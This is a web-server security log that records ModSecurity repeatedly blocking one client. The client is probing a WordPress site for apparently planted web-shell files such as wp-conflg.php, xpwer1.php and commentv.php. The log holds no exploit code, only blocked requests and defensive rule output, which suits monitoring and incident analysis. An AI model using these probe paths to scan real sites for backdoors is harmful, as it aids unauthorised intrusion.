[Mon Feb 09 00:53:16.082675 2026] [:error] [pid 9422:tid 9426] [client 20.69.252.116:33889] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aYi_fK9DqDJC68qBbyxFoQAAAYE"]
[Mon Feb 09 00:53:16.551225 2026] [:error] [pid 6662:tid 6673] [client 20.69.252.116:48693] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aYi_fN-oEK1ut16KiNIdQwAAAkc"]
[Mon Feb 09 00:53:16.983530 2026] [:error] [pid 6663:tid 6704] [client 20.69.252.116:35161] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aYi_fGGI3uHqWdeZM76g9AAAAos"]
[Mon Feb 09 00:53:17.403734 2026] [:error] [pid 6723:tid 6802] [client 20.69.252.116:34543] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aYi_fTkiu6gHwS33P0qTawAAA1E"]
[Mon Feb 09 00:53:17.810179 2026] [:error] [pid 6630:tid 6657] [client 20.69.252.116:34533] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_fZ2jf0FBTEb_cWQRxwAAAhg"]
[Mon Feb 09 00:53:18.223383 2026] [:error] [pid 24421:tid 24444] [client 20.69.252.116:33917] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_fqp7cTzhX5M1IP9ZfQAAAA0"]
[Mon Feb 09 00:53:18.655303 2026] [:error] [pid 6630:tid 6637] [client 20.69.252.116:35120] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_fp2jf0FBTEb_cWQRygAAAgQ"]
[Mon Feb 09 00:53:19.058396 2026] [:error] [pid 24421:tid 24448] [client 20.69.252.116:34497] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aYi_f6p7cTzhX5M1IP9ZfwAAABE"]
[Mon Feb 09 00:53:19.466429 2026] [:error] [pid 24421:tid 24435] [client 20.69.252.116:34450] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aYi_f6p7cTzhX5M1IP9ZgAAAAAQ"]
[Mon Feb 09 00:53:19.894156 2026] [:error] [pid 6630:tid 6640] [client 20.69.252.116:34472] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aYi_f52jf0FBTEb_cWQRzQAAAgc"]
[Mon Feb 09 00:53:20.335232 2026] [:error] [pid 6630:tid 6656] [client 20.69.252.116:35167] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aYi_gJ2jf0FBTEb_cWQRzgAAAhc"]
[Mon Feb 09 00:53:20.806973 2026] [:error] [pid 24421:tid 24437] [client 20.69.252.116:34475] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aYi_gKp7cTzhX5M1IP9ZggAAAAY"]
[Mon Feb 09 00:53:21.228747 2026] [:error] [pid 24530:tid 24539] [client 20.69.252.116:35171] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_gUazNRCs1GRWrh478gAAAMc"]
[Mon Feb 09 00:53:21.635774 2026] [:error] [pid 6630:tid 6653] [client 20.69.252.116:34468] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_gZ2jf0FBTEb_cWQR0QAAAhQ"]
[Mon Feb 09 00:53:22.035992 2026] [:error] [pid 9482:tid 9563] [client 20.69.252.116:48696] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_gsTkGH_puEFp5zPR5AAAA9g"]
[Mon Feb 09 00:53:22.469154 2026] [:error] [pid 6630:tid 6649] [client 20.69.252.116:34524] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_gp2jf0FBTEb_cWQR1AAAAhA"]
[Mon Feb 09 00:53:22.881020 2026] [:error] [pid 9422:tid 9442] [client 20.69.252.116:34545] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_gq9DqDJC68qBbyxFrAAAAZE"]
[Mon Feb 09 00:53:23.298349 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:34483] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_g0azNRCs1GRWrh479gAAAMs"]
[Mon Feb 09 00:53:23.704786 2026] [:error] [pid 6662:tid 6666] [client 20.69.252.116:35077] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_g9-oEK1ut16KiNIdSAAAAkA"]
[Mon Feb 09 00:53:24.105297 2026] [:error] [pid 9422:tid 9445] [client 20.69.252.116:48765] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_hK9DqDJC68qBbyxFrgAAAZQ"]
[Mon Feb 09 00:53:24.555781 2026] [:error] [pid 43900:tid 43912] [client 20.69.252.116:34529] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aYi_hOWrhnpm_Csk3knKLgAAAUk"]
[Mon Feb 09 00:53:24.960977 2026] [:error] [pid 6630:tid 6655] [client 20.69.252.116:34513] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aYi_hJ2jf0FBTEb_cWQR2AAAAhY"]
[Mon Feb 09 00:53:25.383259 2026] [:error] [pid 6630:tid 6635] [client 20.69.252.116:34484] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aYi_hZ2jf0FBTEb_cWQR2gAAAgI"]
[Mon Feb 09 00:53:25.788124 2026] [:error] [pid 6630:tid 6640] [client 20.69.252.116:34519] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aYi_hZ2jf0FBTEb_cWQR2wAAAgc"]
[Mon Feb 09 00:53:26.188286 2026] [:error] [pid 9422:tid 9431] [client 20.69.252.116:33875] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aYi_hq9DqDJC68qBbyxFswAAAYY"]
[Mon Feb 09 00:53:26.605662 2026] [:error] [pid 24530:tid 24545] [client 20.69.252.116:34520] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aYi_hkazNRCs1GRWrh479wAAAM0"]
[Mon Feb 09 00:53:27.019741 2026] [:error] [pid 6663:tid 6716] [client 20.69.252.116:35185] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aYi_h2GI3uHqWdeZM76g9gAAApc"]
[Mon Feb 09 00:53:27.433634 2026] [:error] [pid 6662:tid 6685] [client 20.69.252.116:34459] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aYi_h9-oEK1ut16KiNIdTQAAAlM"]
[Mon Feb 09 00:53:27.839636 2026] [:error] [pid 6723:tid 6791] [client 20.69.252.116:48647] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_hzkiu6gHwS33P0qTbQAAA0Y"]
[Mon Feb 09 00:53:28.243111 2026] [:error] [pid 6630:tid 6649] [client 20.69.252.116:35090] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_iJ2jf0FBTEb_cWQR3QAAAhA"]
[Mon Feb 09 00:53:28.660636 2026] [:error] [pid 6630:tid 6645] [client 20.69.252.116:34443] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_iJ2jf0FBTEb_cWQR3wAAAgw"]
[Mon Feb 09 00:53:29.102051 2026] [:error] [pid 43900:tid 43903] [client 20.69.252.116:33856] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_ieWrhnpm_Csk3knKMwAAAUA"]
[Mon Feb 09 00:53:29.506853 2026] [:error] [pid 24530:tid 24532] [client 20.69.252.116:48742] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_iUazNRCs1GRWrh47-QAAAMA"]
[Mon Feb 09 00:53:29.954008 2026] [:error] [pid 9422:tid 9448] [client 20.69.252.116:34538] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_ia9DqDJC68qBbyxFuAAAAZc"]
[Mon Feb 09 00:53:30.369392 2026] [:error] [pid 9422:tid 9433] [client 20.69.252.116:34432] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_iq9DqDJC68qBbyxFuQAAAYg"]
[Mon Feb 09 00:53:30.780099 2026] [:error] [pid 9482:tid 9546] [client 20.69.252.116:33901] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aYi_isTkGH_puEFp5zPR6AAAA8c"]
[Mon Feb 09 00:53:31.192732 2026] [:error] [pid 6723:tid 6797] [client 20.69.252.116:33811] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aYi_izkiu6gHwS33P0qTcQAAA0w"]
[Mon Feb 09 00:53:31.656417 2026] [:error] [pid 6662:tid 6673] [client 20.69.252.116:34536] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aYi_i9-oEK1ut16KiNIdUgAAAkc"]
[Mon Feb 09 00:53:32.118128 2026] [:error] [pid 6663:tid 6714] [client 20.69.252.116:33111] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aYi_jGGI3uHqWdeZM76g-wAAApU"]
[Mon Feb 09 00:53:32.522142 2026] [:error] [pid 6723:tid 6806] [client 20.69.252.116:34456] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aYi_jDkiu6gHwS33P0qTcwAAA1U"]
[Mon Feb 09 00:53:32.967375 2026] [:error] [pid 9482:tid 9544] [client 20.69.252.116:33792] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_jMTkGH_puEFp5zPR6gAAA8U"]
[Mon Feb 09 00:53:33.370862 2026] [:error] [pid 9482:tid 9551] [client 20.69.252.116:34469] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_jcTkGH_puEFp5zPR6wAAA8w"]
[Mon Feb 09 00:53:33.780540 2026] [:error] [pid 9422:tid 9431] [client 20.69.252.116:34542] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_ja9DqDJC68qBbyxFugAAAYY"]
[Mon Feb 09 00:53:34.180931 2026] [:error] [pid 43900:tid 43922] [client 20.69.252.116:34474] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYi_juWrhnpm_Csk3knKNAAAAVM"]
[Mon Feb 09 00:53:34.584699 2026] [:error] [pid 24530:tid 24555] [client 20.69.252.116:34522] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYi_jkazNRCs1GRWrh47_AAAANc"]
[Mon Feb 09 00:53:34.991560 2026] [:error] [pid 9482:tid 9552] [client 20.69.252.116:34476] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYi_jsTkGH_puEFp5zPR7QAAA80"]
[Mon Feb 09 00:53:35.390306 2026] [:error] [pid 9482:tid 9558] [client 20.69.252.116:48666] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYi_j8TkGH_puEFp5zPR7gAAA9M"]
[Mon Feb 09 00:53:35.789274 2026] [:error] [pid 6723:tid 6789] [client 20.69.252.116:35104] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x/"] [unique_id "aYi_jzkiu6gHwS33P0qTdgAAA0Q"]
[Mon Feb 09 00:53:36.202722 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:34449] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aYi_kDkiu6gHwS33P0qTdwAAA08"]
[Mon Feb 09 00:53:36.601387 2026] [:error] [pid 6723:tid 6792] [client 20.69.252.116:48666] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aYi_kDkiu6gHwS33P0qTeQAAA0c"]
[Mon Feb 09 00:53:37.013307 2026] [:error] [pid 43900:tid 43920] [client 20.69.252.116:35083] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aYi_keWrhnpm_Csk3knKNgAAAVE"]
[Mon Feb 09 00:53:37.413089 2026] [:error] [pid 9422:tid 9432] [client 20.69.252.116:34445] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aYi_ka9DqDJC68qBbyxFwAAAAYc"]
[Mon Feb 09 00:53:37.812000 2026] [:error] [pid 9422:tid 9425] [client 20.69.252.116:34557] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aYi_ka9DqDJC68qBbyxFwgAAAYA"]
[Mon Feb 09 00:53:38.215378 2026] [:error] [pid 6662:tid 6668] [client 20.69.252.116:34464] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aYi_kt-oEK1ut16KiNIdWgAAAkI"]
[Mon Feb 09 00:53:38.620123 2026] [:error] [pid 6723:tid 6804] [client 20.69.252.116:33909] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aYi_kjkiu6gHwS33P0qTewAAA1M"]
